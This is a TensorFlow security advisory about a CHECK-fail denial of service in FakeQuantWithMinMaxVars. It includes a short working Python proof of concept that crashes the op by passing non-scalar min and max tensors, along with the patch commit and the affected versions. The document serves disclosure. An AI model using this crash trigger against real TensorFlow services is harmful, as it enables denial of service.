TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVars`
Impact
If FakeQuantWithMinMaxVars is given min or max tensors of a nonzero rank, it results in a CHECK fail that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
num_bits = 8
narrow_range = False
inputs = tf.constant(0, shape=[2,3], dtype=tf.float32)
min = tf.constant(0, shape=[2,3], dtype=tf.float32)
max = tf.constant(0, shape=[2,3], dtype=tf.float32)
tf.raw_ops.FakeQuantWithMinMaxVars(inputs=inputs, min=min, max=max, num_bits=num_bits, narrow_range=narrow_range)
`
Patches
We have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0).
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
